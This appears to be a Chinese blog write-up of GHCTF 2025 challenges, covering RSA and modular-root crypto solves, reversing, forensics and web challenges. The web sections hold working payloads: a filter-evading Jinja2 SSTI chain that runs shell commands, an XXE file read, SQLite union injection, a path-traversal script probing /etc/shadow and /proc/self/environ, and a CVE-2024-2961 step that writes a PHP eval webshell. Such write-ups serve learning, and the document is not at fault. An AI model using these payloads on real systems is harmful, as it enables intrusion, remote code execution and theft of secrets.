Featured image of post 2025GHCTFwp

2025GHCTFwp

2025GHCTFwp

baby_factor

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
e = 65537
n = 2741832985459799195551463586200496171706401045582705736390510500694289553647578857170635209048629428396407631873312962021354740290808869502374444435394061448767702908255197762575345798570340246369827688321483639197634802985398882606068294663625992927239602442735647762662536456784313240499437659967114509197846086151042512153782486075793224874304872205720564733574010669935992016367832666397263951446340260962650378484847385424893514879629196181114844346169851383460163815147712907264437435463059397586675769959094397311450861780912636566993749356097243760640620004707428340786147078475120876426087835327094386842765660642186546472260607586011343238080538092580452700406255443887820337778505999803772196923996033929998741437250238302626841957729397241851219567703420968177784088484002831289722211924810899441563382481216744212304879717297444824808184727136770899310815544776369231934774967139834384853322157766059825736075553
phi = 2741832985459799195551463586200496171706401045582705736390510500694289553647578857170635209048629428396407631873312962021354740290808869502374444435394061448767702908255197762575345798570340246369827688321483639197634802985398882606068294663625992927239602442735647762662536456784313240499437659967114509197784246608456057052779643060628984335578973450260519106769911425793594847759982583376628098472390090331415895352869275325656949958242181688663465437185437198392460569653734315961071709533645370007008616755547195108861900432818710027794402838336405197750190466425895582236209479543326147804766393022786785337752319686125574507066082357748118175068545756301823381723776525427724798780890160482013759497102382173931716030992837059880049832065500252713739288235410544982532170147652055063681116147027591678349638753796122845041417275362394757384204924094885233281257928031484806977974575497621444483701792085077113227851520
c = 2675023626005191241628571734421094007494866451142251352071850033504791090546156004348738217761733467156596330653396106482342801412567035848069931148880296036606611571818493841795682186933874790388789734748415540102210757974884805905578650801916130709273985096229857987312816790471330181166965876955546627327549473645830218664078284830699777113214559053294592015697007540297033755845037866295098660371843447432672454589238297647906075964139778749351627739005675106752803394387612753005638224496040203274119150075266870378506841838513636541340104864561937527329845541975189814018246183215952285198950920021711141273569490277643382722047159198943471946774301837440950402563578645113393610924438585345876355654972759318203702572517614743063464534582417760958462550905093489838646250677941813170355212088529993225869303917882372480469839803533981671743959732373159808299457374754090436951368378994871937358645247263240789585351233

# 计算私钥指数 d
d = pow(e, -1, phi)

# 解密,计算明文 m
m = pow(c, d, n)

# 动态计算字节长度
byte_length = (m.bit_length() + 7) // 8

# 将 m 转换为字节并解码
message = m.to_bytes(byte_length, 'big').decode('utf-8')

print("Flag:", message)

upload?SSTI!

1
{%set pop=dict(po=a,p=b)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}{%set get=dict(get=a)|join%}{%set shell=dict(o=a,s=b)|join%}{%set popen=dict(popen=a)|join%}{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}{%set ch=dict(ch=a,r=b)|join%}{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}{%set command=char(108)+char(115)+char(32)+char(47)%}{%set read=dict(read=a)|join%}{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}{%print result%}

image-20250302132345249

1
{%set pop=dict(po=a,p=b)|join%}{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}{%set get=dict(get=a)|join%}{%set shell=dict(o=a,s=b)|join%}{%set popen=dict(popen=a)|join%}{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}{%set ch=dict(ch=a,r=b)|join%}{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}{%set command=char(99)+char(97)+char(116)+char(32)+char(47)+char(102)+char(108)+char(97)+char(103)%}{%set read=dict(read=a)|join%}{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}{%print result%}

(>﹏<)

xxe

看起来跟0xgame2024的那题很像

1
2
3
4
5
xml=<%3fxml+version%3d"1.0"%3f>
<!DOCTYPE+test+[
++++<!ENTITY+ddd+SYSTEM+"file%3a///flag">
]>
<aa><name>%26ddd%3b</name></aa>

post接ghctf路由,这里的xml要url编码一下

image-20250302134922400

SQL???

sqlite注入

1
2
?id=0 union select 1,2,3,4,sql from sqlite_master;
?id=0 union select 1,2,3,4,flag from flag;

image-20250302135704861

baby_signin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from sympy.ntheory.residue_ntheory import nthroot_mod
from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes

# 给定参数
p = 182756071972245688517047475576147877841
q = 305364532854935080710443995362714630091
c = 14745090428909283741632702934793176175157287000845660394920203837824364163635
n = p * q

# 计算c在模p和模q下的值
c_p = c % p
c_q = c % q

# 在模p下求解四次根
roots_p = nthroot_mod(c_p, 4, p, all_roots=True)
print(f"模p下的四次根数量: {len(roots_p)}")

# 在模q下求解四次根
roots_q = nthroot_mod(c_q, 4, q, all_roots=True)
print(f"模q下的四次根数量: {len(roots_q)}")

# 使用中国剩余定理组合所有可能的解
possible_flags = []
for x_p in roots_p:
    for x_q in roots_q:
        m, _ = crt([p, q], [x_p, x_q])
        if pow(m, 4, n) == c:  # 验证解的正确性
            possible_flags.append(m)

# 输出所有可能的明文
for m in possible_flags:
    flag = long_to_bytes(m).decode('utf-8', errors='ignore')
    if flag.startswith("NSSCTF{"):
        print("解密成功,flag为:", flag)
        break
else:
    print("未找到符合格式的flag,请检查所有可能解:")
    for m in possible_flags:
        print(long_to_bytes(m))

mybrave

zip塞png,想到明文攻击

image-20250302164754302

直接解压出来

010看到结尾有神秘字符串

image-20250302171307278

image-20250302171914759

ez_readfile

掏出祖传MD5强比较payload

1
a=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&b=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

image-20250302174916239

可以目录遍历,但是看环境变量不允许

非预期,读docker-entrypoint.sh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import requests
TARGET_URL = "http://node2.anna.nssctf.cn:28717"
POST_DATA = {
  "a": "TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak",
  "b": "TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak"
}
TEST_PATHS = [
  "/flag",         # 绝对路径
  "../../../../flag",   # 路径遍历
  "/flag.txt",       # 常见扩展名
  "/etc/passwd",
  "/app/flag",
  "/run/secrets/flag",
  "/opt/flag",
  "/usr/local/flag",
  "/docker-entrypoint.sh",
  "/tmp/flag",
  "tmp/flag.tmp",
  "/var/tmp/flag",
  "/var/log/apache2/access.log",
  "/var/log/nginx/access.log",
  "/var/log/auth.log",
  "/var/log/syslog",
  "/var/www/html/index.php",
  "/var/www/html/config.php",
  "/var/www/html/.env",
  "/var/www/html/admin/flag",
  "/var/www/html/uploads/flag",
  "/var/www/html/secret/flag",
  "/var/www/html/robots.txt",
  "/var/backups/flag",
  "/var/backups/flag.bak",
  "/var/backups/app.tar.gz",
  "/var/lib/gnats/flag",
  "/home/flag",
  "/home/user/flag",
  "/etc/shadow",
  "/etc/flag",
  "/etc/motd",
  "/etc/hosts",
  "/etc/environment",
  "/proc/self/environ",
  "/proc/version",
  "/tmp/flag",
  "/tmp/flag.tmp",
  "/var/tmp/flag",
  "/var/log/apache2/access.log",
  "/var/log/nginx/access.log",
  "/var/log/auth.log",
  "/var/log/syslog",
  "/flag.bak",
  "/flag.old",
  "/flag.swp",
  "/flag.swo",
  ".flag",
  ".flag.txt",
  ".flag.php",
  "._flag",
  "/readme.md",
  "/notice.txt",
  "/hint.txt",
  "/secret",
  "/admin/flag",
  "/api/flag",
  "/v1/flag"
]
def test_paths():
  for path in TEST_PATHS:
    params = {"file": path}
    try:
      response = requests.post(
        TARGET_URL,
        data=POST_DATA,
        params=params,
        timeout=5
      )
      if response.status_code == 200:
        if "NSSCTF{" in response.text:
          print(f"[+] 成功获取 Flag: {response.text}")
          return
        elif "Warning" in response.text:  
          print("Warning")
        else:
          print(f"No Warning:{path}")
    except Exception as e:
      print(f"[!] 测试 {path} 时出错: {str(e)}")
if __name__ == "__main__":
  test_paths()

上面是flag可能在的地方

利用CVE-2024-2961,拿/proc/self/maps和libc

image-20250302210121137

image-20250302210230745

libc丢cyberchef下载

调参数

1
2
maps_path = './maps'
cmd = "echo '<?php eval($_POST[1]);'>/var/www/html/1.php"

跑脚本

image-20250302210921551

image-20250302212711923

ASM?Signin!

喂给ai直接出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def do2_swap_bytes(data1, bx, di):
    for _ in range(4):
        temp = data1[bx]
        data1[bx] = data1[di]
        data1[di] = temp
        bx += 1
        di += 1

def do1_modify_data1(data1_initial):
    data1 = list(data1_initial) # Make a mutable copy
    si = 0
    for _ in range(8):
        di = si + 4
        if di >= 28:
            di -= 28
        bx = si
        do2_swap_bytes(data1, bx, di)
        si += 4
    return bytes(data1)

def reverse_enc(data2, modified_data1):
    flag = bytearray()
    si = 0
    di = 0
    for _ in range(8):
        ax_word1 = (modified_data1[di + 2] << 8) | modified_data1[di + 1]
        flag_word1 = ((data2[si+1] << 8) | data2[si]) ^ ax_word1
        flag.append(flag_word1 & 0xFF)
        flag.append((flag_word1 >> 8) & 0xFF)

        ax_word2 = (modified_data1[di + 3] << 8) | modified_data1[di + 2] # Note: should be di+3, di+2 for word
        flag_word2 = ((data2[si+3] << 8) | data2[si+2]) ^ ax_word2
        flag.append(flag_word2 & 0xFF)
        flag.append((flag_word2 >> 8) & 0xFF)

        si += 4
        di += 4
    return bytes(flag)

DATA1_INITIAL = bytes([0x26, 0x27, 0x24, 0x25, 0x2A, 0x2B, 0x28, 0x00,
                       0x2E, 0x2F, 0x2C, 0x2D, 0x32, 0x33, 0x30, 0x00,
                       0x36, 0x37, 0x34, 0x35, 0x3A, 0x3B, 0x38, 0x39,
                       0x3E, 0x3F, 0x3C, 0x3D, 0x3F, 0x27, 0x34, 0x11])

DATA2 = bytes([0x69, 0x77, 0x77, 0x66, 0x73, 0x72, 0x4F, 0x46,
               0x03, 0x47, 0x6F, 0x79, 0x07, 0x41, 0x13, 0x47,
               0x5E, 0x67, 0x5F, 0x09, 0x0F, 0x58, 0x63, 0x7D,
               0x5F, 0x77, 0x68, 0x35, 0x62, 0x0D, 0x0D, 0x50])

modified_data1 = do1_modify_data1(DATA1_INITIAL)
flag_bytes = reverse_enc(DATA2, modified_data1)
flag = flag_bytes.decode('ascii', errors='ignore') # Try to decode as ASCII, ignore errors for non-printable chars.
print(f"Flag: {flag}")

image-20250303181733143

mydisk-2

第一个问题查系统名,r-studio挂载后在etc目录下面找issue

image-20250303231226854

第二个问题查找账号密码,先看看etc/passwd

找到一个用户叫l0v3miku

image-20250303231600363

在火狐目录下找到login.json,key4.db,cert9.db

跑脚本

image-20250306191252211

在var/lib/docker/containers目录下面有个config.v2.json

image-20250306192330843

Y0U_FouNd_mE!

最后跑脚本得flag

AI Cat Girl

image-20250303190922108

EZ_Fermat

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
n = 101780569941880865465631942473186578520071435753163950944409148606282910806650879176280021512435190682009749926285674412651435782567149633130455645157688819845748439487113261739503325065997835517112163014056297017874761742768297646567397770742374004940360061700285170103292360590891188591132054903101398360047
e = 65537
c = 77538275949900942020886849496162539665323546686749270705418870515132296087721218282974435210763225488530925782158331269160555819622551413648073293857866671421886753377970220838141826468831099375757481041897142546760492813343115244448184595644585857978116766199800311200819967057790401213156560742779242511746
w = 32824596080441735190523997982799829197530203904568086251690542244969244071312854874746142497647579310192994177896837383837384405062036521829088599595750902976191010000575697075792720479387771945760107268598283406893094243282498381006464103080551366587157561686900620059394693185990788592220509670478190685244

# 定义多项式 f(x)
R.<x> = ZZ[]
f = 2*x^332 - x^331 + x^329 + 3*x^328 - x^327 - 3*x^325 + x^323 - 3*x^322 - x^321 - 3*x^320 + x^319 + 2*x^318 - 4*x^317 - 3*x^315 - 2*x^314 + x^313 + x^312 + 2*x^311 + 2*x^309 + 2*x^308 + 5*x^307 + 2*x^306 + 3*x^305 + 5*x^304 + 4*x^303 + x^302 - x^301 - x^300 - 2*x^299 - 2*x^298 + x^297 + 3*x^296 - x^295 - 4*x^292 - x^290 + 4*x^289 - x^287 - 3*x^286 + x^285 - 2*x^284 + x^283 - x^282 - 2*x^281 + x^280 - 2*x^279 + x^278 + 2*x^277 - 3*x^276 - x^275 - 4*x^274 - 3*x^273 - 5*x^272 - 2*x^271 - 3*x^270 + 2*x^269 + 2*x^268 - x^267 - 2*x^266 + x^265 + x^264 - 3*x^262 - 3*x^259 + 2*x^258 - x^257 + 2*x^256 + 2*x^255 - x^254 - 2*x^253 - x^252 + 2*x^251 - x^250 + x^249 + 2*x^247 + 2*x^246 + 2*x^245 - 2*x^244 - 3*x^243 + 2*x^242 - 3*x^241 - x^240 - 3*x^239 - x^236 - 3*x^235 - 2*x^234 - x^233 - 2*x^232 - x^231 - 3*x^230 - 2*x^229 - 4*x^228 - 2*x^227 - 3*x^226 + 2*x^225 + x^224 - x^223 - 2*x^221 + 3*x^219 - x^217 - 2*x^216 + x^215 + 2*x^213 - x^212 + 3*x^211 + x^210 + 4*x^209 + x^208 - x^206 - x^205 - x^204 + 2*x^203 - 3*x^202 + 2*x^199 - x^198 + 2*x^196 - 2*x^195 + 3*x^194 + 3*x^193 - x^192 + 4*x^191 + 2*x^189 + x^186 - x^185 - x^184 + 3*x^183 + x^182 + 2*x^181 - 2*x^180 + x^177 + x^175 - x^173 + 3*x^172 + x^170 + x^169 - x^167 - 2*x^166 - x^165 - 4*x^164 - 2*x^163 + 2*x^162 + 4*x^161 - 2*x^160 - 3*x^159 - 2*x^158 - 2*x^157 + x^156 - x^155 + 3*x^154 - 4*x^153 + x^151 + 2*x^150 + x^149 - x^148 + 2*x^147 + 3*x^146 + 2*x^145 - 4*x^144 - 4*x^143 + x^142 - 2*x^140 - 2*x^139 + 2*x^138 + 3*x^137 + 3*x^136 + 3*x^135 + x^134 - x^133 + 2*x^132 + 3*x^130 - 3*x^129 - 2*x^128 - x^127 - 2*x^126 + x^125 + x^124 - 2*x^123 + x^122 - x^121 + 3*x^120 - x^119 - 2*x^118 - x^117 - x^116 - 2*x^115 + 2*x^114 + 2*x^113 - 3*x^112 - x^111 - 4*x^110 + x^109 + x^108 + x^106 - 4*x^105 + x^104 - x^103 - x^101 + x^100 - 2*x^99 + x^98 - x^97 + 3*x^96 + 3*x^94 - x^93 - x^92 + x^91 - 2*x^90 + x^89 - x^88 + x^87 - x^86 + x^85 + x^84 - x^83 + x^79 - 3*x^78 - 2*x^77 + x^74 + 3*x^73 - x^72 - 3*x^71 - 2*x^70 + x^69 - 3*x^66 + x^65 + x^64 - 4*x^62 - x^61 + x^60 - x^59 + 3*x^58 - x^57 - x^54 + 3*x^53 + x^51 - 3*x^50 - x^49 + 2*x^47 - x^46 - x^44 + x^43 - x^42 - 4*x^41 - 3*x^39 - x^37 - x^36 - 3*x^35 + x^34 + x^33 - 2*x^32 + 2*x^31 - x^30 + 2*x^29 - 2*x^28 - 2*x^27 - x^24 + x^22 - 5*x^21 + 3*x^20 + 2*x^19 - x^18 + 2*x^17 + x^16 - 2*x^15 - 2*x^14 + x^13 + x^12 + 2*x^11 - 3*x^10 + 3*x^9 + 2*x^8 - 4*x^6 - 2*x^5 - 4*x^4 + x^3 - x^2 - 1

# 计算 f(1)
k = f(1)  # 这会计算所有系数的和

# 计算 2^k mod n
two_k = power_mod(2, k, n)

# 计算 2^k - w mod n
diff = (two_k - w) % n

# 求 GCD 以找到 p 或 q
factor = gcd(n, diff)

if factor == 1 or factor == n:
    print("无法找到合适的因子,请检查逻辑")
else:
    # 假设 factor 是 p
    p = factor
    q = n // p
    if is_prime(p) and is_prime(q) and p * q == n:
        phi = (p-1)*(q-1)
        d = power_mod(e, -1, phi)
        m = power_mod(c, d, n)
        flag = bytes.fromhex(hex(m)[2:])
        print("Flag:", flag)
    else:
        print("找到的因子不正确,请检查逻辑")

mycode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import functools

def compare(a, b):
    if a + b < b + a:
        return -1
    else:
        return 1

def main():
    conn = remote('node2.anna.nssctf.cn', 28412)  # 替换为题目提供的IP和端口
    for _ in range(100):
        conn.recvuntil(b'Numbers: ')
        nums_line = conn.recvline().decode().strip()
        nums = nums_line.split()
        sorted_nums = sorted(nums, key=functools.cmp_to_key(compare))
        concatenated = ''.join(sorted_nums)
        concatenated = concatenated.lstrip('0')
        if not concatenated:
            concatenated = '0'
        conn.sendlineafter(b'Smallest: ', concatenated.encode())
    flag = conn.recvall().decode()
    print(flag)

if __name__ == '__main__':
    main()
Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计